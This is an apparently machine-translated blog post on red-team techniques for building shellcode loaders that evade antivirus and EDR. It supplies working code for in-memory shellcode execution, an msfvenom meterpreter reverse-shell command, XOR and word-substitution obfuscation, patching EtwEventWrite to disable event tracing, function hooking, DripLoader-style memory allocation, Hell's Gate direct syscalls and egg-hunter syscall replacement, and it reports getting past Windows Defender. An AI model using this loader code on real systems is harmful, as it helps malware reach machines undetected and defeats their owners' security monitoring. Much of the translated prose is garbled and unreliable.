当前位置:网站首页>Red team kill-free development practice of simulated confrontation
Red team kill-free development practice of simulated confrontation
2022-08-04 21:10:00 【wespten】
In the process of simulation against,“初始访问”A key challenge stage,Is that bypass the endpoint detection and response ability (EDR).As a result of the businessc2Framework for the red team players cannot be modifiedshellcode和二进制文件,所以,Security solutions suppliers to extract characteristic of the code(Or become a signature),那么,In order to implant the code,The red team must be the characteristics(Static and behavior characteristics)The necessary processes.
在这篇文章中,I will introduce the following technologies,The ultimate goal is to perform maliciousshellcode,也称为(shellcode)加载程序:
- Shellcode加密技术
- 降低熵值
- (本地)AV沙箱逃逸技术
- The import table obfuscation techniques
- 禁用Windows事件跟踪 (ETW)
- Avoid common maliciousAPI调用模式
- Using direct system calls and avoid“系统调用标记”
- 删除ntdll.dll中的钩子
- Forged thread call stack
- beaconThe memory of encryption
- Custom reflective loader
- Using the flexible configuration file configurationOpSec
一、Shellcode加密技术
Let's start with a basic and important topic,shellcodeStatic confusion.In my loader,我利用了XOR或RC4加密算法,Because they are not only easy to implement,And won't leave too many traces of encryption activities.如果用AESEncryption to confuseshellcodeThe static characteristics of the,In binary导入地址表Traces of encryption in the,所以,It is easy to cause suspicion.实际上,This early version of the loader is dedicated toAES解密函数(如CryptDecrypt、CryptHashData、CryptDeriveKey等),很容易引起Windows Defender的注意.
从dumpbin /importsThe output of the command results it is not hard to see,The binary code USESAES解密函数.
主要参考:
GitHub - Arno0x/ShellcodeWrapper: Shellcode wrapper with encryption for multiple target languages
内存执行shellcode
函数指针的概念
定义:
函数返回值类型 (* 指针变量名) (函数参数列表);
如:
int(*p)(int, int)
如何使用:
#include <iostream>
#include <windows.h>
void print() {
std::cout << "123";
}
int main(){
void(*p)();
p = print;
p();}
By means of function Pointers can call the function in the current process address space,The premise is need to know the address of the virtual memory of the machine code.一般和VirtualAlloc相结合
unsigned char shellcode[] = "\x00";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
虚拟内存
我们通过VirtualAllocAllocates a block of virtual memory,Return a pointer to a variableexec,Pointing to the virtual memory address of the first. Copies the array after to the memory,在visual studio里选择debug->window->memeory Can check when the current application of memory,Will the debuggerexec的地址填入:
Through debugging plugin we can see nowshellcodeHas been written into the memory,Through a function pointer will bevoid*Cast the function pointer and the calling.Use without confusionc shellcode,编译windows definder都会报毒,直接无法编译:
关闭definder,Can be successfully launched.
使用工具进行xor混淆,生成shellcode装载代码:
这种对shellcodeThe encryption of the actual is to encrypt a string,Mainly static confusion,Initially didn't look at the official herereadme,The official example USESmsf:
[email protected]:~# msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f raw > shellcode.raw
生成的raw格式的,笔者开始使用cs直接生成了c代码,The result is code for file every byte encryption.
重新生成raw格式代码,编译结果definderStill the poison,Comment the function pointer execution part still.
二、降低熵值
许多AV/EDRSolution in evaluating an unknown binary file security,Would consider its entropy.这是因为,如果对shellcode进行加密,Then the encrypted binary entropy will jump,This is a clear indicator,Show that the binary code is likely to have been dealt with confusion.
Used to reduce the binary file of entropy method has many,例如,Here are two simple and effective method to:
Low entropy is added in the binary file resources,如(低熵)图像.
添加字符串,Such as English words,或诸如“strings C:\Program Files\Google\Chrome\Application\100.0.4896.88\chrome.dll”Such as the output of the command.
A more elegant solution is to design and implement an algorithm,Will be treated with confusion(编码/加密)的shellcodeInto English words(低熵).This method is kill two birds with one stone.
在visual studio中,The program compiled phase selectionresource file - > add -> resource - > icon,增加图标.
Modified binary feature
For there is no source program,也可以通过工具resourcehacker修改图标,Achieve the result that modify the characteristic value:
三、(本地)AV沙箱逃逸技术
对于许多EDR解决方案来说,Will let the binary code in local sandbox to run for a few seconds,To see if their behavior suspicious.In order to avoid affect the end user experience,Check the binary file time generally can't more than a few seconds(不过,Once foundAvastCheck time for30秒,But that is an exception).我们可以通过延迟shellcode的执行,To abuse the limit.举例来说,I like the most is,The procedure is to first ask a big prime number.但是,The reader can go further:Not only for prime,And it is used as encryptionshellcode的(部分)密钥.
Mentioned in the original can delayshellcode的执行,The original author adopts the way is to take a big prime number and used as a key.The author here direct violence usesleep实现延时:
Thread.Sleep(1000*30);
For the cloud sandbox,Listen to other people simple said before,Can make a large file、Delete files and so on ways to prevent uploaded to the cloud.This simple adds aMP3Resources into an executable file demonstrate.
四、The import table obfuscation techniques
Try to avoid a suspiciousWindows API(WINAPI)End up in ourIAT(导入地址表)中.This table is used to save our binary files from other library into all of the systemWindows API的概要信息.这里Provides a cause security software of doubtAPI列表,换句话说,EDRSolution usually check theseAPI.通常情况下,这些API包括VirtualAlloc、VirtualProtect、 WriteProcessMemory、CreateRemoteThread、SetThreadContext等.实际上,只要运行dumpbin /exports <binary.exe>命令,Can list all the import function.在大多数情况下,We can through direct system call,To get around for easy to arouse suspicionWINAPI调用的EDR钩子(参考第7节),But not so easy to arouse suspicionAPI调用,This method also can work normally.
为此,我们添加WINAPI调用的函数签名,获得WINAPI在ntdll.dll中的地址,And then create a pointer to the address of the function:
typedef BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
pVirtualProtect fnVirtualProtect;
unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };
unsigned char sKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0 };
fnVirtualProtect = (pVirtualProtect) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR)sVirtualProtect);
// call VirtualProtect
fnVirtualProtect(address, dwSize, PAGE_READWRITE, &oldProt);
When using a character array to confuse the string,Often splits a string into smaller pieces,That makes they extracted from binary file more difficult.
实际上,Call stillntdll.dll WINAPI,And can't bypass forntdll.dll中WINAPIAny of the hook,因此,In order to do so purely from theIATRemove the suspicious function.
A more elegant solution is to design and implement an algorithm,Will be treated with confusion(编码/加密)的shellcodeInto English words(低熵).This method is kill two birds with one stone.
其实也是类似shellcode混淆的技术,因为笔者的c很一般,cPerform the mapping relationship need to store the bytes and words,在c语言中没有string类型和dict等数据结构,也不熟悉STL,Writing is very stiff,这里使用c#执行shellcode.
The unexpected finding simple confusionshellcode+cscCompilation is able towindows definder了.
直接使用vsCompiler will still be submitted to the poison:
c#执行shellcodeThe way a slight difference between,There is no use function pointer,而是使用了windows api createThread:
HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in, optional] __drv_aliasesMem LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out, optional] LPDWORD lpThreadId
);
顾名思义,In the current process to create a thread.Mainly is to provide a pointer to the third parameter.和VirtualAlloc+ Marshal.Copy结合使用.使用csc编译就可以bypass windows definder.
使用pyReplace the byte of random words:
from random_words import RandomWords
hex_temp=[0x9d]
hex_single = list(set(hex_temp))
words=[]
words_list=[]
payload="string p =\""
# generate dict list --- for singel
rw = RandomWords()
for h in hex_single:
success_add=False
while not success_add:
word = rw.random_word()
if word not in words:
words.append(word)
words_list.append({h:word})
success_add=True
# convert shellcode to string
for h in hex_temp:
for d in words_list:
for k in d:
if h == k:
payload=payload+d[k]+" "
print(payload.rstrip(" ")+"\";")
# generate c# table to compare
ret_string="string s =\""
ret_h="char[] raw = {"
for d in words_list:
for k in d:
ret_string=ret_string+d[k]+" "
ret_h=ret_h+"(char)%d,"%(int(k))
ret_h=ret_h.rstrip(",");
ret_string=ret_string.rstrip(" ");
ret_h=ret_h+"};";
ret_string=ret_string+"\";"
print(ret_string)
print(ret_h)
使用C#进行解密:
Still the poison:
But comment outCreateThreadPart can be used,shellcodeFree kill no big problem.这里换一种shellcode加载方式,魔改SharpInjector的EtwpCreateEtwThread加载:
Can a successful online:
五、禁用Windows事件跟踪 (ETW)
ETW指Windows事件追踪,Is a lot of security products usewindows功能.Some of its functions inntdll.dll中,We can modify the memory ofetwThe effect of the correlation function to prohibit log output,The most common method is to modifyEtwEventWrite函数,详情可以参考:ETW的攻与防 & Detecting process injection with ETW
许多EDRSolution to the extensive use of theWindows事件追踪(ETW),特别是Microsoft Defender for Endpoint(以前被称为Microsoft ATP).ETWAllows the function of a process andWINAPICalls for a wide range of detection and tracking.此外,ETWIn the kernel also has some components,Primarily for system calls and other kernel register callback operation,But also includes a user mode component,它是ntdll.dll的一部分,详见:
Design issues of modern EDRs:bypassing ETW-based solutions
由于ntdll.dllIs a loaded into our binaries inDLL,因此,We can fully control theDLL,从而控制ETW功能.In user spaceETW来说,可以通过多种方法来绕过它,But the most common method is to modifyEtwEventWrite函数,This function is the function of writing/记录ETW事件.We can get the function in thentdll.dll中的地址,然后,The first instruction for return0(SUCCESS)的指令.
// return 0
unsigned char patch[] = { 0x48, 0x33, 0xc0, 0xc3}; // xor rax, rax; ret
ULONG oldprotect = 0;
size_t size = sizeof(patch);
HANDLE hCurrentProc = GetCurrentProcess();
unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
void *pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR) sNtdll), (LPCSTR) sEtwEventWrite);
NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, PAGE_READWRITE, &oldprotect);
memcpy(pEventWrite, patch, size / sizeof(patch[0]));
NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, oldprotect, &oldprotect);
FlushInstructionCache(hCurrentProc, pEventWrite, size);
}
Although I found the above methods in the test of two kinds ofEDR上仍然有效,但这种方法“动静太大”.
几个api:
NtProtectVirtualMemory
NTThe beginning of the function is the kernel function,User mode function asVirtualProtect :
BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);
This function changes in the virtual address space of the calling process to protect the submitted page area,The third parameter is the key,参考memory-protection-constants.The fourth parameter return original properties save memory address,After making modifications to recover.
For this kind of undisclosedapiThe kernel function call,Need to manually to obtain its address,First define a function pointer:
typedef void* (*tNtVirtual) (HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
tNtVirtual oNtVirtual;
进行调用:
FARPROC farProc = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll),"NtProtectVirtualMemory");
oNtVirtual = (tNtVirtual)farProc;
oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_NOACCESS, &oldprotect);
FlushInstructionCache
This function is mainly to revise and refresh the memory cache.
BOOL FlushInstructionCache(
[in] HANDLE hProcess,
[in] LPCVOID lpBaseAddress,
[in] SIZE_T dwSize
);
参数一目了然,没什么好解释的.
我们首先找到EtwEventWriteFunction within the virtual address in memory:
HANDLE hCurrentProc = GetCurrentProcess();
unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
void *pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR) sNtdll), (LPCSTR) sEtwEventWrite);
Change memory attribute toPAGE_READWRITE,这里sizeIs that we need to modify the size of the memory of.
NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, PAGE_READWRITE, &oldprotect);
修改内存:
memcpy(pEventWrite, patch, size / sizeof(patch[0]));
恢复内存属性:
NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, oldprotect, &oldprotect);
完整的实现:
typedef void* (*tNtVirtual) (HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
tNtVirtual oNtVirtual;
void disableETW(void) {
// return 0
unsigned char patch[] = { 0x48, 0x33, 0xc0, 0xc3 }; // xor rax, rax; ret
ULONG oldprotect = 0;
size_t size = sizeof(patch);
HANDLE hCurrentProc = GetCurrentProcess();
unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
unsigned char sNtdll[] = { 'n','t','d','l','l','.','d','l','l',0x0};
void* pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll), (LPCSTR)sEtwEventWrite);
FARPROC farProc = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll), "NtProtectVirtualMemory");
oNtVirtual = (tNtVirtual)farProc;
oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_READWRITE, &oldprotect);
memcpy(pEventWrite, patch, size / sizeof(patch[0]));
oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, oldprotect, &oldprotect);
FlushInstructionCache(hCurrentProc, pEventWrite, size);
}
查看内存:
修改成功.
六、Avoid common maliciousAPI调用模式
本文主要根据Bypassing EDR real-time injection detection logic这篇文章,To change the behavior of conventional memory write,Some confuse with machine learning characteristics of theedr的检测,To avoid the report to the police.
基础知识
windows api hook
We first find memory needs to behook的函数地址:
LPVOID lpDllExport = GetProcAddress(hJmpMod, jmpFuncName);
After finding the former seven bytes to jump,如下:
unsigned char jmpSc[7]{
0xB8, b[0], b[1], b[2], b[3],
0xFF, 0xE0
};
Machine code corresponding to the assembly instruction is about:
move eax,xxxx
jmp eax
Modify this part of the memory:
WriteProcessMemory(
hProc,
lpDllExport,
jmpSc,
sizeof(jmpSc),
&szWritten
);
So that we can achieve the hijack corresponding to the function of the letter, and execute the process.If you want to retain the original function of the function,To preserve the original seven bytes,在shellcodeAgain to replace this part of the memory andjump回来.
Most of the behavior detection are ultimately malicious mode,Such as within a short period of time for a specificWINAPI的顺序调用.第4Section briefly mentioned suspiciousWINAPICalls are usually used to performshellcode,因此,They are monitored object.然而,These calls are sometimes used for benign activities(因此,这些VirtualAlloc、WriteProcess、CreateThreadPattern usually need and memory allocation and write about250KB的shellcodeBehavior such as comprehensive consideration),因此,EDRSolution of the challenge is how to distinguish between benign and malicious call.Filip OlszakWrote a very good博文,Introduces how to use the delays and written to the size of the memory space allocation and to identify benignWINAPI调用行为.简而言之,His method considering the typicalshellcodeThe following behavior of loader:
- To allocate a large block of memory and will directly~250KB的implant shellcode写入该内存,Distribution is better than small but continuous memory,例如<64KB的内存,并将其标记为NO_ACCESS.然后,将shellcodeAccording to the corresponding block size written in these pages.
- In the introduction of delay between each operation.This will increase to performshellcode所需的时间,But it will also fade continuous execution mode.
The technology to note is that,To ensure that in the contiguous memory page to find a can hold the wholeshellcode的内存位置.实际上,Filip的DripLoaderImplements this concept.
I don't build the loader willshellcodeInto another process,而是使用NtCreateThreadIn its own process space launchshellcode.An unknown process(Our binary file popularity is very low)Enter the other process(通常是Windows本地进程)Is a kind of suspicious activity,需要高度注意(推荐阅读https://www.cobaltstrike.com/blog/cobalt-strike-4-5-fork-run-youre-history/).When we are in the process of loader space of threads in the runningshellcode时,More likely to be benign threads in the process of the execution and memory operations overshadowed by noise.然而,缺点是,As long as there is a collapse after penetrating module,Will hurt loader process,从而使implantCollapse.不过,By means of maintaining access technology as well as the operation is stable and reliableBOF,Still can overcome the disadvantages of.
Windows Some of the rules for memory allocation
- 在windows 10 64位下,Minimum memory allocation granularity for4kB, systeminfo结构体中,Identifies the variable,As the size of the paging.
在windows中,所有VirtualAllocEx分配的内存,会向上取整到AllocationGranularity的值,windows10下为64kb,比如:
我们在0x40000000The base of distribution4kB的MEM_COMMIT | MEM_RESERVE的内存,So the whole piece of0x40010000 (64kB)Area will not be able to be redistributed.
实现原理
很多edrWill create a remote thread behavior as suspicious behavior,比如windows definderJust do record but does not report to the police,Generate alarm and other judgment logic,下图是atp的记录:
Therefore depend entirely on the ntdll!NtCreateThread(Ex) 是不准确的,Normal procedures can also call thisapi.
Looking for alarm and record the difference between,可以让我们实现edr的绕过.
The authors of user behavior based on several operating confuse:
- To allocate a large block of memory and will directly~250KB的implant shellcode写入该内存,Distribution is better than small but continuous memory,例如<64KB的内存,并将其标记为NO_ACCESS.然后,将shellcodeAccording to the corresponding block size written in these pages.
- In the introduction of delay between each operation.This will increase to performshellcode所需的时间,But it will also fade continuous execution mode.
- 使用钩子,劫持RtlpWow64CtxFromAmd64函数,执行恶意shellcode
DripLoader
Search in memory,Find the memory block properties asfree的内存:
pre-define a list of 64-bit base addresses and VirtualQueryEx the target process to find the first region able to fit our shellcode blob
Looking for the right of the memory,cVmResv即shellode长度/内存块大小+1,The total need how many piece of memory.When determining the base of continuouscVmResvBlock of memoryfree,Returns the base address:
延时执行:
To ensure that the memory can be allocated:
This function USES thesyscall调用,ANtAVM对应NtAllocateVirtualMemory:
To ensure that the memory can't64kb的,以4kbSlices can be allocated:
写入内存,以4bits每次写入:
After get function addresseshook -> jmp到我们shellcode的首地址:
创建进程,运行我们的shellcode:
可以成功执行shellcode:
详情请参考:EDR-Bypass-demo
七、Using direct system calls and avoid“系统调用标记”
System kernel mode refers to theR0,User mode refers to theR3,System code in kernel mode to run,The user code in user mode to run.System a total of four level,R1和R2Running device driver,R0到R3Authority, in turn, reduce the,R0和R3Permissions, respectively, for the top and bottom.
When user mode operation of the system to control system,Or to run the system code, it must obtain aR0权限.用户从R3到R0需要借助ntdll.dll中的函数,These functions respectively by“Nt”和“Zw”开头,这种函数叫做Native API,Below is a process call:
这些ntAt the beginning of function generally no official document,Many are reverse or leakwindowsSource way out.
调用这些nt开头的函数,在《The red team team development infrastructure-基础免杀(一)》Ever find function through in memory of the first address the way to realize:
FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");
反编译这段代码,就可以获取syscall最简单的形式:
即:
mov r10,rcx
mov eax,xxh
syscall
This store is the system call number,基于 eax 所存储的值的不同,syscall 进入内核调用的内核函数也不同.
Loader can be used to direct the system call to get aroundEDR在ntdll.dllSet the hook.需要说明的是,Here won't discussed the working principle of the system call directly,Because it is beyond the scope of this article,Interested readers can refer to the excellent article on network(例如Outflank,详见https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/).
简而言之,Direct system call is called directly equivalent kernel system callsWINAPI.举例来说,我们不是调用ntdll.dll库中的VirtualAlloc函数,而是调用Windows内核中定义的、The kernel function with equivalent functionsNtAlocateVirtualMemory.这么做的好处是,Able to bypass the monitoring calls(在本例中)ntdll.dll库中定义的函数VirtualAlloc的所有EDR钩子.
In order to directly invoke a system call,我们可以从ntdll.dllIn want to invoke a system callsyscall ID,然后,The correct order of using the function signatures will function and parameter types in the stack,并调用syscall <id>指令.实际上,We can use some tools to automatically do this,比如SysWhispers2和SysWhisper3.The point of view of from don't need.the kill,Direct call system call has two questions:
- The binary file will eventually use the system call instruction,It's easy to be statically detect(又称“系统调用标记”,详见https://klezvirus.github.io/RedTeaming/AV_Evasion/NoSysWhisper/).
- With the equivalentntdll.dllCall the system call the normal usage of different,The system calls the return address is not tontdll.dll.相反,We call it refers to a system call code,The code resides inntdll.dll之外的内存区域.This is not byntdll.dllInvoke a system call sign,Show that it is likely to have problems here.
为了克服这些问题,我们可以:
- Implementation mechanism of egg hunters.With egg first(Some random、唯一的、Identifiable patterns)替换syscall指令,然后在运行时,Again in memory search the eggs,并使用ReadProcessMemory和WriteProcessMemory等WINAPICalls to replace it withsyscall指令.之后,We can get the normal use of the system call directly.This technology has been by theklezVirus实现.
- We don't call from your own codesyscall指令,而是在ntdll.dll中搜索syscall指令,And after we call system call stack ready to jump to the memory address.这将导致RIPThe return address tontdll.dll内存区域.
实际上,SysWhisper3Has achieved both techniques.
为什么使用syscall可以绕过edr?
用户调用windows api ReadFile,有些edr会hook ReadFile这个windows api,But in fact will callNTxxx这种函数.Some functions are notedr hook就可以绕过.To put it bluntly or through a bypass blacklist mechanism.The unpopular findwdinwos apiAnd find the corresponding underlying kernelapi.
sycallThe system call number document:Microsoft Windows System Call Table (XP/2003/Vista/2008/7/2012/8/10)
写一个基础syscall
在vscode中开启asm支持:
右键asm文件,属性,Modified to macro languages translation.
这里需要注意 .asm文件不能和.cpp文件重名,否则会link报错.
接着根据msdn的官方文档定义函数:
EXTERN_C NTSTATUS SysNtCreateFile(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength);
After calling the function:
RtlInitUnicodeString(&fileName, (PCWSTR)L"\\??\\c:\\temp\\test.txt");
ZeroMemory(&osb, sizeof(IO_STATUS_BLOCK));
InitializeObjectAttributes(&oa, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
SysNtCreateFile(
&fileHandle,
FILE_GENERIC_WRITE,
&oa,
&osb,
0,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_WRITE,
FILE_OVERWRITE_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
使用visual studio查看反汇编代码:
工具->选项->启用地址级调试,在调试过程中,Debug->window->disassembly.
You can see the most basic assembly code and byte code.
动态进行syscall
我们很多时候使用syscall不是直接调用,Don't hard coding in your codesyscall的系统调用号.Because of different system call number is,So we need to be dynamicallysyscall.
Hell’s Gate:地狱之门
The tool traverses theNtDLL的导出表,根据函数名hash,找到函数的地址.接着使用0xb8获取到系统调用号,之后通过syscallTo perform a series of function.
通过TEB获取到dllThe address of the can refer to:获取DLL的基地址
解析pe结构,获取导出表:
遍历hashTable and export table,找到syscall的函数,Through the way of marking for system call number:
Why match a few bytes will findsyscallCall number?我们看这张图:
发现syscallThe corresponding fixed assembly statement as:
4C8BD1 -> mov r10, rcx
B8XXXXXXXX -> move eax,xx
0f05 -> syscall
Into a memory array that is:
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
Word by word traversal section,直到出现mov r10, rcx和move eax,After an operation to getsyscall调用号.
程序自动生成的syscall汇编代码:
; Hell's Gate
; Dynamic system call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
.data
wSystemCall DWORD 000h
.code
HellsGate PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
HellsGate ENDP
HellDescent PROC
mov r10, rcx
mov eax, wSystemCall
syscall
ret
HellDescent ENDP
end
调用syscall,分配内存,修改内存属性,创建线程:
Has successfully launched can be found.
SysWhispers2
SysWhispers2 是一个合集,用python生成.c源码文件.The role of these files andHell’s Gate类似,也是在PEFind the export list,After comparing the functionhash找到syscall调用号.相对Hell’s GateMore function to choose from,Not only is a memory related several functions.并且对syscall的asmA certain degree of confusion(使用了INT 2EH替换sycall).Halo’s Gate
The door of the aura to deal withnative api被hook的情况,syscall有一个32Bytes of the stub,By compiling per32Bytes looking for has not beenhook的native api,Mainly the two assembly function:
主要还是根据syscallThe characteristics of the bytecode4C 8B D1 B8,In memorynative apiIn the position of the up or down every32Bytes to search.找到没有被HOOKAfter the stub for its system call number minus mobile number,Is to search the system call number.
TartarusGate
TartarusGate主要是增加了对hook的判断,We will in the following content to mentionhook的操作,一般有5字节和7字节hook.主要是JMPThe corresponding machine codeE9的位置不同,By judging function begins the first byte and the fourth isE9Can roughly judge whether behook.ParallelSyscalls
The project USES the next three technology mentioned in the passage,In a word is restored byhook的ntdll之后再进行syscall.GetSSN
This tool is used to compare different ideas,简单来说ssn(系统调用标记)实际上是从0开始的,As long as we get to the corresponding address all the function of machine,Sort through the address,Eventually get the label order issyscall id的顺序.
int GetSSN()
{
std::map<int, string> Nt_Table;
PBYTE ImageBase;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nt = NULL;
PIMAGE_FILE_HEADER File = NULL;
PIMAGE_OPTIONAL_HEADER Optional = NULL;
PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
PPEB Peb = (PPEB)__readgsqword(0x60);
PLDR_MODULE pLoadModule;
// NTDLL
pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
ImageBase = (PBYTE)pLoadModule->BaseAddress;
Dos = (PIMAGE_DOS_HEADER)ImageBase;
if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
return 1;
Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
{
PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if (strncmp((char*)pczFunctionName, "Zw",2) == 0) {
printf("Function Name:%s\tFunction Address:%p\n", pczFunctionName, pFunctionAddress);
Nt_Table[(int)pFunctionAddress] = (string)pczFunctionName;
}
}
int index = 0;
for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) {
cout << "index:" << index << ' ' << iter->second << endl;
index += 1;
}
}
弱化syscall的特征
The main content from the originalSysWhispers is dead, long live SysWhispers!
使用int 2EH
syscall特征非常明显,Static characteristics is easy to be identified to:
针对这种情况,在SysWhispers2Have improved,如图:
找到了一种int 2EH替代syscall的办法,However, as the attack-defense improve,This method has been tested.
egghunter
这里采用了egghunter的技术,With egg first(Some random、唯一的、Identifiable patterns)替换syscall指令,然后在运行时,Again in memory search the eggs,并使用ReadProcessMemory和WriteProcessMemory等WINAPICalls to replace it withsyscall指令.之后,We can get the normal use of the system call directly.
关于egghunterThe concept of can seefuzzysecurity的Binary introductory tutorial.
我们在内存中使用db表示一个字节,For example, we in memory.txt段写入"w00tw00t"的字节:
NtAllocateVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 003970B07h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
DB 77h ; "w"
DB 0h ; "0"
DB 0h ; "0"
DB 74h ; "t"
DB 77h ; "w"
DB 0h ; "0"
DB 0h ; "0"
DB 74h ; "t"
ret
NtAllocateVirtualMemory ENDP
The next to do is walker memory,Search the eggs:
void FindAndReplace(unsigned char egg[], unsigned char replace[])
{
ULONG64 startAddress = 0;
ULONG64 size = 0;
GetMainModuleInformation(&startAddress, &size);
if (size <= 0) {
printf("[-] Error detecting main module size");
exit(1);
}
ULONG64 currentOffset = 0;
unsigned char* current = (unsigned char*)malloc(8*sizeof(unsigned char*));
size_t nBytesRead;
printf("Starting search from: 0x%llu\n", (ULONG64)startAddress + currentOffset);
while (currentOffset < size - 8)
{
currentOffset++;
LPVOID currentAddress = (LPVOID)(startAddress + currentOffset);
if(DEBUG > 0){
printf("Searching at 0x%llu\n", (ULONG64)currentAddress);
}
if (!ReadProcessMemory((HANDLE)((int)-1), currentAddress, current, 8, &nBytesRead)) {
printf("[-] Error reading from memory\n");
exit(1);
}
if (nBytesRead != 8) {
printf("[-] Error reading from memory\n");
continue;
}
if(DEBUG > 0){
for (int i = 0; i < nBytesRead; i++){
printf("%02x ", current[i]);
}
printf("\n");
}
if (memcmp(egg, current, 8) == 0)
{
printf("Found at %llu\n", (ULONG64)currentAddress);
WriteProcessMemory((HANDLE)((int)-1), currentAddress, replace, 8, &nBytesRead);
}
}
printf("Ended search at: 0x%llu\n", (ULONG64)startAddress + currentOffset);
free(current);
}
Do it while you can bypass the static testing but still exist problems,理论上syscallBehavior should exist onlyntdll中,而我们使用syscallIs in the current program.简单的判断RIPCan detect the suspicious behavior in our.
Regular call process:
Malicious programs calling process:
针对RIP的检测,The author also gives the technology scheme,还是比较简单的.在内存中搜索syscall的地址,直接jmp到该位置.即可让RIP指向ntdll.
The two methods mentioned above inSysWhispers3Has been applied:
# Normal SysWhispers, 32-bits mode
py .\syswhispers.py --preset all -o syscalls_all -m jumper --arch x86
# Normal SysWhispers, using WOW64 in 32-bits mode (only specific functions)
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem --arch x86 --wow64
# Egg-Hunting SysWhispers, to bypass the "mark of the sycall" (common function)
py .\syswhispers.py --preset common -o syscalls_common -m jumper
# Jumping/Jumping Randomized SysWhispers, to bypass dynamic RIP validation (all functions) using MinGW as the compiler
